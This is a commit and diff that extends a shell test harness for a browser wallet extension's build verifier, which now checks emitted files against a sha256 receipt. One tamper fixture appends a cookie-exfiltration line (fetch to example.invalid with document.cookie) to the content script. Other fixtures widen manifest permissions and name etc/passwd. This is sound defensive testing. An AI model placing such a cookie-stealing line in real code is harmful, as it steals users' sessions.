fix: verify the build against its own receipt, with the expected mode as an argument (closes #309)
script/verify-build computed its expectation from AUTISTMASK_DEBUG in its own environment, and the Makefile invoked it bare, so an operator with that flag exported who ran the release target got a debug bundle -- every wallet it creates carrying the publicly committed test recovery phrase -- verified green at exit 0. The mode is now the required argument --expect release|debug, with no default and nothing read from the environment; make build passes --expect release on an env -u AUTISTMASK_DEBUG environment and make build-debug passes --expect debug. The flag is deliberately still allowed to reach the compiler, so a shell that has it exported fails make build loudly rather than quietly receiving something other than the release build it asked for. The other half was provenance. The check was a marker grep over a file list read back out of dist/, so a 26-byte file containing only autistmask-build-debug=off verified ok, manifest.json and the content script that runs on every page were never read at all, and an entire hand-written dist/ passed as "1 bundle(s) verified". build.js now records every file it emits and writes a receipt of them -- path, sha256, and whether the file is one of the bundles containing constants.js -- to a path the Makefile creates with mktemp per invocation, outside the repo, and deletes afterwards; a receipt path inside dist/ is refused. dist/ is cleared before a build, so it holds only what that build wrote. dist/constants-bundles.txt is gone, and with it the standalone make verify-build target: re-verifying a dist/ out of the dist/ itself is the thing that was broken. verify-build now checks the receipt's shape, then that dist/ contains nothing the build did not emit and no symlinks, then each recorded file's bytes against its digest and each audited bundle's marker against --expect. The guarantee is narrow and README.md states it as such: dist/ is byte for byte the output of the build.js run that just finished. It proves nothing about the honesty of the source tree or of build.js, and offers nothing to a third party holding a dist/. That is signing: #310 script/test-verify-build goes from 18 cases to 39, extended in place: one per demonstrated bypass, the missing/invalid argument cases, an AUTISTMASK_DEBUG=1 environment that the verifier must ignore, debug bundles that must fail --expect release, and four checks that read the make build and make build-debug recipes back out of make -n. The existing failure modes (grep exit-2, find's status, newline and trailing-space paths, symlinked dist/, and the root probe that refuses to count permission cases vacuously) are kept. Verified: make check green (39 suites / 811 tests, 39 verify-build cases, permission cases enabled), and green again inside the pinned image via script/cibuild with --no-cache-filter=check, where the harness runs as root and reports the setpriv runner rather than skipping. Non-vacuity proved by mutation: disabling the digest comparison fails exactly the four bypass cases, removing the dist/ walk fails the eight extra-file and symlink cases, restoring the ambient AUTISTMASK_DEBUG fallback fails the no---expect case, breaking the Makefile recipe fails the wiring cases, and dropping manifest.json from the recorded emissions fails a real make build.
This commit is contained in:
@@ -3,11 +3,13 @@
|
||||
# script/verify-build. Our own extension to scripts-to-rule-them-all, run
|
||||
# from script/check so make check covers it.
|
||||
#
|
||||
# Why this exists: verify-build is the build-integrity guard, and three
|
||||
# separate reviews of it each found a fresh vacuous pass — the grep exit-2
|
||||
# conflation, the discarded find status, the line-delimited walk. Every one
|
||||
# was caught by someone building a tree by hand, because nothing in make check
|
||||
# could catch it. This is that hand battery, committed and automated.
|
||||
# Why this exists: verify-build is the build-integrity guard, and four separate
|
||||
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation,
|
||||
# the discarded find status, the line-delimited walk, and then the two the
|
||||
# receipt replaced: an expectation read out of the verifier's own environment,
|
||||
# and a file list read back out of the tree it was supposed to vouch for. Every
|
||||
# one was caught by someone building a tree by hand, because nothing in make
|
||||
# check could catch it. This is that hand battery, committed and automated.
|
||||
#
|
||||
# Each case asserts the exit status AND a substring of the message. A guard
|
||||
# that fails for the wrong reason (right status, different fault) is itself a
|
||||
@@ -17,7 +19,14 @@
|
||||
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it
|
||||
# operates on the fixture's dist/ and never reads or writes the repo's build
|
||||
# output. The symlink rather than a copy is what makes a deliberate break in
|
||||
# the real script fail here.
|
||||
# the real script fail here. The fixture's receipt is written from the bytes
|
||||
# the fixture actually holds, exactly as a build writes one from the bytes it
|
||||
# emitted; a case that means "the build emitted this" regenerates it, and a
|
||||
# case that means "something changed dist/ afterwards" does not.
|
||||
#
|
||||
# The sha256 command is selected here independently of the one verify-build
|
||||
# picks. That is deliberate: a harness that reused the implementation's helper
|
||||
# would agree with it even when it is wrong.
|
||||
set -eu
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||
@@ -26,6 +35,8 @@ VERIFY_BUILD="$ROOT/script/verify-build"
|
||||
MARKER_ON="autistmask-build-debug=on"
|
||||
MARKER_OFF="autistmask-build-debug=off"
|
||||
|
||||
RECEIPT_HEADER="autistmask-build-receipt v1"
|
||||
|
||||
NEWLINE='
|
||||
'
|
||||
|
||||
@@ -41,6 +52,9 @@ UNPRIV=""
|
||||
PERM_ENABLED=no
|
||||
PERM_HOW=""
|
||||
|
||||
# The sha256 command, chosen by pick_sha256_tool.
|
||||
SHA256_CMD=""
|
||||
|
||||
WORK=""
|
||||
|
||||
cleanup() {
|
||||
@@ -54,6 +68,10 @@ trap cleanup EXIT INT TERM
|
||||
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
|
||||
FIXTURE="$WORK/fixture"
|
||||
|
||||
# The build receipt for the fixture, kept outside the fixture's dist/ — and
|
||||
# outside the fixture altogether — because that is where a real one lives.
|
||||
RECEIPT="$WORK/receipt"
|
||||
|
||||
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
|
||||
# our work dir keeps the run leaving no residue, and keeps it writable for the
|
||||
# unprivileged user the permission cases run as.
|
||||
@@ -65,15 +83,67 @@ chmod 755 "$WORK"
|
||||
|
||||
# --- fixture ---------------------------------------------------------------
|
||||
|
||||
# The emitted tree a build of this repo produces in miniature: audited bundles
|
||||
# (A) that must carry a marker, and plain emitted files (P) that must not —
|
||||
# including the content script, which runs on every page, and the manifest,
|
||||
# neither of which the pre-receipt verifier read at all.
|
||||
FIXTURE_FILES="A dist/chrome/src/popup/index.js
|
||||
A dist/firefox/src/popup/index.js
|
||||
P dist/chrome/src/content/index.js
|
||||
P dist/chrome/manifest.json
|
||||
P dist/styles.css"
|
||||
|
||||
FIXTURE_REAL=""
|
||||
|
||||
# A stand-in for an emitted bundle: some text plus one marker literal, which
|
||||
# is all verify-build reads out of the real thing.
|
||||
# is all verify-build reads out of the real thing beyond its digest.
|
||||
write_bundle() {
|
||||
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
|
||||
}
|
||||
|
||||
# A dist/ shaped like a real build: two listed bundles under different
|
||||
# browsers, an unlisted subtree to make unwalkable, and unlisted files that
|
||||
# carry no marker and must not be objected to.
|
||||
# Digest of $1, taken with the harness's own sha256 command.
|
||||
fixture_sha256() {
|
||||
# Word-split on purpose: SHA256_CMD is a command with its arguments.
|
||||
# shellcheck disable=SC2086
|
||||
_fs_out="$($SHA256_CMD "$1")"
|
||||
printf '%s' "${_fs_out%% *}"
|
||||
}
|
||||
|
||||
# Write the fixture's receipt, with a substitutable header and root line so the
|
||||
# cases can hand verify-build a receipt that is not one.
|
||||
write_receipt_custom() {
|
||||
_wrc_header="$1"
|
||||
_wrc_root="$2"
|
||||
|
||||
chmod u+rw "$RECEIPT" 2>/dev/null || true
|
||||
rm -f "$RECEIPT"
|
||||
|
||||
(
|
||||
cd "$FIXTURE"
|
||||
printf '%s\n' "$_wrc_header"
|
||||
printf 'root %s\n' "$_wrc_root"
|
||||
_saved_ifs="$IFS"
|
||||
IFS="$NEWLINE"
|
||||
for _entry in $FIXTURE_FILES; do
|
||||
IFS="$_saved_ifs"
|
||||
_flag="${_entry%% *}"
|
||||
_path="${_entry#* }"
|
||||
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
|
||||
"$_flag" "$_path"
|
||||
IFS="$NEWLINE"
|
||||
done
|
||||
IFS="$_saved_ifs"
|
||||
) >"$RECEIPT"
|
||||
|
||||
# Readable by the unprivileged user the permission cases run as, whatever
|
||||
# umask this process has, until a case takes that away on purpose.
|
||||
chmod 644 "$RECEIPT"
|
||||
}
|
||||
|
||||
write_receipt() {
|
||||
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
|
||||
}
|
||||
|
||||
build_fixture() {
|
||||
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
|
||||
rm -rf "$FIXTURE"
|
||||
@@ -87,13 +157,12 @@ build_fixture() {
|
||||
|
||||
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
|
||||
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
|
||||
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
|
||||
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
|
||||
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
|
||||
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
|
||||
|
||||
{
|
||||
echo "dist/chrome/src/popup/index.js"
|
||||
echo "dist/firefox/src/popup/index.js"
|
||||
} >"$FIXTURE/dist/constants-bundles.txt"
|
||||
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)"
|
||||
write_receipt
|
||||
|
||||
# Readable and traversable by the unprivileged user the permission cases
|
||||
# run as, before those cases take that away again on purpose.
|
||||
@@ -185,7 +254,51 @@ runuser|runuser -u nobody --"
|
||||
|
||||
# --- case runner ------------------------------------------------------------
|
||||
|
||||
# check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
|
||||
# How verify-build is invoked for a case. The arguments are literal here rather
|
||||
# than assembled from a string, so nothing about a case's invocation depends on
|
||||
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
|
||||
# verifier ignores it — that is the whole of the ambient-environment defect.
|
||||
run_verify() {
|
||||
_rv_variant="$1"
|
||||
_rv_perm="$2"
|
||||
_rv_bin="$FIXTURE/script/verify-build"
|
||||
|
||||
case "$_rv_variant" in
|
||||
release | release-envdebug)
|
||||
set -- --expect release --receipt "$RECEIPT"
|
||||
;;
|
||||
debug)
|
||||
set -- --expect debug --receipt "$RECEIPT"
|
||||
;;
|
||||
no-expect)
|
||||
set -- --receipt "$RECEIPT"
|
||||
;;
|
||||
no-receipt)
|
||||
set -- --expect release
|
||||
;;
|
||||
bad-expect)
|
||||
set -- --expect maybe --receipt "$RECEIPT"
|
||||
;;
|
||||
unknown-arg)
|
||||
set -- --expect release --receipt "$RECEIPT" --force
|
||||
;;
|
||||
receipt-in-dist)
|
||||
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
|
||||
;;
|
||||
*)
|
||||
echo "test-verify-build: unknown variant $_rv_variant" >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
if [ "$_rv_perm" = yes ]; then
|
||||
run_unpriv "$_rv_bin" "$@"
|
||||
else
|
||||
"$_rv_bin" "$@"
|
||||
fi
|
||||
}
|
||||
|
||||
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
|
||||
#
|
||||
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
|
||||
# requires both the exit status and the message. <perm> marks a case that only
|
||||
@@ -193,7 +306,7 @@ runuser|runuser -u nobody --"
|
||||
check_case() {
|
||||
_name="$1"
|
||||
_perm="$2"
|
||||
_mode="$3"
|
||||
_variant="$3"
|
||||
_want_status="$4"
|
||||
_want_text="$5"
|
||||
_setup="$6"
|
||||
@@ -213,23 +326,22 @@ check_case() {
|
||||
return 0
|
||||
fi
|
||||
|
||||
if [ "$_mode" = debug ]; then
|
||||
_debug=1
|
||||
else
|
||||
_debug=""
|
||||
fi
|
||||
|
||||
# Exported rather than set as a command prefix: run_unpriv is a function,
|
||||
# and an assignment prefixed to a function call is not portable.
|
||||
AUTISTMASK_DEBUG="$_debug"
|
||||
export AUTISTMASK_DEBUG
|
||||
# Exported rather than set as a command prefix: run_verify may go through
|
||||
# run_unpriv, which is a function, and an assignment prefixed to a function
|
||||
# call is not portable. Every other case unsets it, so the environment this
|
||||
# harness happens to run in cannot decide anything.
|
||||
case "$_variant" in
|
||||
*envdebug)
|
||||
AUTISTMASK_DEBUG=1
|
||||
export AUTISTMASK_DEBUG
|
||||
;;
|
||||
*)
|
||||
unset AUTISTMASK_DEBUG || true
|
||||
;;
|
||||
esac
|
||||
|
||||
_status=0
|
||||
if [ "$_perm" = yes ]; then
|
||||
_out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
|
||||
else
|
||||
_out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
|
||||
fi
|
||||
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$?
|
||||
|
||||
_ok=yes
|
||||
_why=""
|
||||
@@ -272,7 +384,9 @@ check_case() {
|
||||
|
||||
# --- cases ------------------------------------------------------------------
|
||||
#
|
||||
# Each runs with the fixture as its working directory.
|
||||
# Each runs with the fixture as its working directory. A case that regenerates
|
||||
# the receipt is saying "this is what the build emitted"; one that does not is
|
||||
# saying "the build emitted something else and this happened afterwards".
|
||||
|
||||
c_control() { :; }
|
||||
|
||||
@@ -299,38 +413,233 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
|
||||
|
||||
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
|
||||
|
||||
c_manifest_missing() { rm dist/constants-bundles.txt; }
|
||||
c_receipt_missing() { rm "$RECEIPT"; }
|
||||
|
||||
c_manifest_empty() { : >dist/constants-bundles.txt; }
|
||||
c_receipt_empty() { : >"$RECEIPT"; }
|
||||
|
||||
c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
|
||||
c_receipt_unreadable() { chmod 000 "$RECEIPT"; }
|
||||
|
||||
c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
|
||||
c_receipt_bad_header() {
|
||||
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
|
||||
}
|
||||
|
||||
c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
|
||||
c_receipt_other_tree() {
|
||||
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
|
||||
}
|
||||
|
||||
c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
|
||||
c_receipt_path_with_space() {
|
||||
write_receipt
|
||||
printf 'file %s P dist/two words.js\n' \
|
||||
"0000000000000000000000000000000000000000000000000000000000000000" \
|
||||
>>"$RECEIPT"
|
||||
}
|
||||
|
||||
c_unlisted_extension() {
|
||||
c_receipt_path_outside_dist() {
|
||||
write_receipt
|
||||
printf 'file %s P etc/passwd\n' \
|
||||
"0000000000000000000000000000000000000000000000000000000000000000" \
|
||||
>>"$RECEIPT"
|
||||
}
|
||||
|
||||
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
|
||||
|
||||
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
|
||||
|
||||
c_extra_file_with_marker() {
|
||||
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
|
||||
}
|
||||
|
||||
c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
|
||||
c_extra_file_no_marker() {
|
||||
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
|
||||
}
|
||||
|
||||
# The four demonstrated bypasses of the pre-receipt verifier.
|
||||
|
||||
# A 26-byte file whose entire content is the marker string used to verify ok.
|
||||
c_marker_only_stub() {
|
||||
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
|
||||
}
|
||||
|
||||
# The content script runs on every page the browser loads and was never read.
|
||||
c_tampered_content_script() {
|
||||
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
|
||||
>>dist/chrome/src/content/index.js
|
||||
}
|
||||
|
||||
# The manifest decides permissions and CSP and was never read either.
|
||||
c_tampered_manifest() {
|
||||
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
|
||||
>dist/chrome/manifest.json
|
||||
}
|
||||
|
||||
# A dist/ that has nothing to do with this build, carrying the right file
|
||||
# names and the right marker, offered against this build's receipt.
|
||||
c_foreign_dist() {
|
||||
rm -rf dist
|
||||
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
|
||||
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
|
||||
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
|
||||
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
|
||||
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
|
||||
printf 'body{color:#fff}\n' >dist/styles.css
|
||||
}
|
||||
|
||||
# Cases that state what the build itself emitted, and so regenerate the
|
||||
# receipt over the changed bytes.
|
||||
|
||||
c_no_marker() {
|
||||
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
|
||||
write_receipt
|
||||
}
|
||||
|
||||
c_both_markers() {
|
||||
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
|
||||
write_receipt
|
||||
}
|
||||
|
||||
c_marker_on_plain_file() {
|
||||
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
|
||||
>dist/chrome/src/content/index.js
|
||||
write_receipt
|
||||
}
|
||||
|
||||
c_debug_build() {
|
||||
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
|
||||
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
|
||||
write_receipt
|
||||
}
|
||||
|
||||
# --- Makefile wiring --------------------------------------------------------
|
||||
|
||||
# The verifier cases above prove what verify-build does when it is told what to
|
||||
# expect. This proves the Makefile tells it — with the mode as an argument, on
|
||||
# a scrubbed environment, and identically whether or not AUTISTMASK_DEBUG is
|
||||
# exported in the shell that ran make. Read off `make -n`, so no build runs.
|
||||
check_makefile_wiring() {
|
||||
if ! command -v make >/dev/null 2>&1; then
|
||||
SKIPPED=$((SKIPPED + 1))
|
||||
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
|
||||
echo " SKIP (make not found): Makefile wiring"
|
||||
return 0
|
||||
fi
|
||||
|
||||
# make build must ask for release, and must scrub the flag from the
|
||||
# verifier's environment, even when the caller has it exported.
|
||||
_wiring_case "make build passes --expect release" \
|
||||
build "verify-build --expect release"
|
||||
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
|
||||
build "env -u AUTISTMASK_DEBUG"
|
||||
_wiring_case "make build-debug passes --expect debug" \
|
||||
build-debug "verify-build --expect debug"
|
||||
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
|
||||
build-debug "env -u AUTISTMASK_DEBUG"
|
||||
}
|
||||
|
||||
_wiring_case() {
|
||||
_wc_name="$1"
|
||||
_wc_target="$2"
|
||||
_wc_want="$3"
|
||||
|
||||
AUTISTMASK_DEBUG=1
|
||||
export AUTISTMASK_DEBUG
|
||||
_wc_status=0
|
||||
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
|
||||
unset AUTISTMASK_DEBUG
|
||||
|
||||
if [ "$_wc_status" -ne 0 ]; then
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " make -n $_wc_target exited $_wc_status"
|
||||
return 0
|
||||
fi
|
||||
|
||||
_wc_g=0
|
||||
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
|
||||
case "$_wc_g" in
|
||||
0)
|
||||
PASSED=$((PASSED + 1))
|
||||
echo " ok: $_wc_name"
|
||||
;;
|
||||
1)
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " make -n $_wc_target does not run: $_wc_want"
|
||||
;;
|
||||
*)
|
||||
FAILED=$((FAILED + 1))
|
||||
echo " FAIL: $_wc_name"
|
||||
echo " grep exited $_wc_g, so the recipe was never checked"
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
run_cases() {
|
||||
check_case "control: untouched dist passes" \
|
||||
no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
|
||||
no release 0 "2 bundle(s) $MARKER_OFF" c_control
|
||||
|
||||
check_case "unlisted marker-carrying file, trailing space in name" \
|
||||
no release 1 "carries a debug marker but is absent from" \
|
||||
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
|
||||
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
|
||||
|
||||
check_case "debug bundles under --expect release fail (make build with
|
||||
AUTISTMASK_DEBUG=1 exported)" \
|
||||
no release-envdebug 1 \
|
||||
"is $MARKER_ON but this build was told to expect" c_debug_build
|
||||
|
||||
check_case "debug bundles under --expect debug pass" \
|
||||
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
|
||||
|
||||
check_case "no --expect argument" \
|
||||
no no-expect 1 "no --expect argument." c_control
|
||||
|
||||
check_case "no --receipt argument" \
|
||||
no no-receipt 1 "no --receipt argument." c_control
|
||||
|
||||
check_case "--expect takes release or debug" \
|
||||
no bad-expect 1 "--expect takes release or debug" c_control
|
||||
|
||||
check_case "unknown argument" \
|
||||
no unknown-arg 1 "unknown argument: --force" c_control
|
||||
|
||||
check_case "receipt inside the tree it describes" \
|
||||
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
|
||||
|
||||
check_case "bundle replaced by a file containing only the marker" \
|
||||
no release 1 "does not contain the bytes this build emitted" \
|
||||
c_marker_only_stub
|
||||
|
||||
check_case "content script tampered with after the build" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/content/index.js does not contain the bytes" \
|
||||
c_tampered_content_script
|
||||
|
||||
check_case "manifest.json tampered with after the build" \
|
||||
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
|
||||
c_tampered_manifest
|
||||
|
||||
check_case "hand-written dist/ offered against this build's receipt" \
|
||||
no release 1 "does not contain the bytes this build emitted" \
|
||||
c_foreign_dist
|
||||
|
||||
check_case "extra file under dist/ carrying a marker" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
|
||||
c_extra_file_with_marker
|
||||
|
||||
check_case "extra file under dist/ carrying no marker" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
|
||||
c_extra_file_no_marker
|
||||
|
||||
check_case "extra file, trailing space in name" \
|
||||
no release 1 "is under dist/ but the build that just ran did not emit" \
|
||||
c_trailing_space
|
||||
|
||||
check_case "unlisted marker-carrying file, newline in name" \
|
||||
no release 1 "carries a debug marker but is absent from" \
|
||||
check_case "extra file, newline in name" \
|
||||
no release 1 "is under dist/ but the build that just ran did not emit" \
|
||||
c_embedded_newline
|
||||
|
||||
check_case "dist/ replaced by a symlink" \
|
||||
@@ -342,64 +651,88 @@ run_cases() {
|
||||
|
||||
check_case "dangling symlink under dist/" \
|
||||
no release 1 \
|
||||
"reading dist/chrome/dangling.js, so the file could not be" \
|
||||
c_dangling_symlink
|
||||
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
|
||||
|
||||
check_case "symlink to a directory under dist/" \
|
||||
no release 1 \
|
||||
"reading dist/chrome/link-to-dir, so the file could not be" \
|
||||
c_dir_symlink
|
||||
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
|
||||
|
||||
check_case "symlink to a listed bundle under an unlisted path" \
|
||||
check_case "symlink aliasing an emitted bundle under another path" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/aliased.js carries a debug marker but is absent" \
|
||||
c_alias_symlink
|
||||
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
|
||||
|
||||
check_case "manifest missing" \
|
||||
no release 1 "dist/constants-bundles.txt is missing." \
|
||||
c_manifest_missing
|
||||
check_case "receipt missing" \
|
||||
no release 1 "is missing. build.js writes it" c_receipt_missing
|
||||
|
||||
check_case "manifest empty" \
|
||||
no release 1 "is empty, so no emitted bundle was found to contain" \
|
||||
c_manifest_empty
|
||||
check_case "receipt empty" \
|
||||
no release 1 "is empty, so the build wrote nothing to it" \
|
||||
c_receipt_empty
|
||||
|
||||
check_case "manifest unreadable" \
|
||||
check_case "receipt unreadable" \
|
||||
yes release 1 "is not readable, so nothing was inspected." \
|
||||
c_manifest_unreadable
|
||||
c_receipt_unreadable
|
||||
|
||||
check_case "listed bundle missing" \
|
||||
check_case "receipt is not a build receipt" \
|
||||
no release 1 "does not start with" c_receipt_bad_header
|
||||
|
||||
check_case "receipt from a different checkout" \
|
||||
no release 1 "was written by a build of a different tree" \
|
||||
c_receipt_other_tree
|
||||
|
||||
check_case "receipt names a path containing a space" \
|
||||
no release 1 "cannot be read back unambiguously" \
|
||||
c_receipt_path_with_space
|
||||
|
||||
check_case "receipt names a path outside dist/" \
|
||||
no release 1 "names a path that is not under dist/" \
|
||||
c_receipt_path_outside_dist
|
||||
|
||||
check_case "emitted file missing" \
|
||||
no release 1 \
|
||||
"lists dist/chrome/src/popup/index.js, which does not exist." \
|
||||
c_bundle_missing
|
||||
"names dist/chrome/src/popup/index.js, which does not exist." \
|
||||
c_emitted_missing
|
||||
|
||||
check_case "listed bundle empty" \
|
||||
no release 1 "which is empty. An empty bundle" c_bundle_empty
|
||||
check_case "emitted file empty" \
|
||||
no release 1 "which is empty. An empty file" c_emitted_empty
|
||||
|
||||
check_case "listed bundle unreadable" \
|
||||
check_case "emitted file unreadable" \
|
||||
yes release 1 \
|
||||
"reading dist/chrome/src/popup/index.js, so the file could not be" \
|
||||
c_bundle_unreadable
|
||||
"on dist/chrome/src/popup/index.js, so its bytes were never read" \
|
||||
c_emitted_unreadable
|
||||
|
||||
check_case "unlisted extension carrying a marker" \
|
||||
no release 1 \
|
||||
"dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
|
||||
c_unlisted_extension
|
||||
|
||||
check_case "listed bundle carries no marker" \
|
||||
check_case "emitted bundle carries no marker" \
|
||||
no release 1 "carries no debug marker, so its DEBUG state cannot be" \
|
||||
c_no_marker
|
||||
|
||||
check_case "listed bundle carries both markers" \
|
||||
check_case "emitted bundle carries both markers" \
|
||||
no release 1 "carries both debug markers, so DEBUG was not resolved" \
|
||||
c_both_markers
|
||||
|
||||
check_case "wrong marker for the requested mode" \
|
||||
no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
|
||||
c_control
|
||||
check_case "marker on a file the build did not record as a bundle" \
|
||||
no release 1 "carries a debug marker but the build did not" \
|
||||
c_marker_on_plain_file
|
||||
|
||||
check_makefile_wiring
|
||||
}
|
||||
|
||||
# --- main --------------------------------------------------------------------
|
||||
|
||||
# The harness cannot build a receipt without a digest, so a missing sha256
|
||||
# command is a failure here rather than a silent reduction in coverage.
|
||||
pick_sha256_tool() {
|
||||
if command -v sha256sum >/dev/null 2>&1; then
|
||||
SHA256_CMD="sha256sum"
|
||||
elif command -v shasum >/dev/null 2>&1; then
|
||||
SHA256_CMD="shasum -a 256"
|
||||
elif command -v openssl >/dev/null 2>&1; then
|
||||
SHA256_CMD="openssl dgst -sha256 -r"
|
||||
else
|
||||
echo "test-verify-build: no sha256 command found (tried sha256sum," \
|
||||
"shasum, openssl), so no fixture receipt can be written" >&2
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
cd "$ROOT"
|
||||
|
||||
@@ -409,6 +742,7 @@ main() {
|
||||
}
|
||||
|
||||
echo "Testing script/verify-build failure modes..."
|
||||
pick_sha256_tool
|
||||
probe_permission_runner
|
||||
if [ "$PERM_ENABLED" = yes ]; then
|
||||
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
|
||||
@@ -426,11 +760,11 @@ main() {
|
||||
if [ "$SKIPPED" -ne 0 ]; then
|
||||
cat <<EOF
|
||||
################################################################################
|
||||
## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
|
||||
## PROVE THEM. This process is uid $(id -u), and no runner subject to file
|
||||
## permissions was available. Tried: $PERM_HOW.
|
||||
## Under root, chmod 000 stops neither find nor grep, so these cases would
|
||||
## have passed without testing anything. They were skipped, not counted:
|
||||
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
|
||||
## This process is uid $(id -u), and no runner subject to file permissions was
|
||||
## available. Tried: $PERM_HOW.
|
||||
## Under root, chmod 000 stops neither find nor grep, so the permission cases
|
||||
## would have passed without testing anything. They were skipped, not counted:
|
||||
$SKIPPED_NAMES################################################################################
|
||||
EOF
|
||||
echo "test-verify-build: $PASSED case(s) passed," \
|
||||
|
||||
Reference in New Issue
Block a user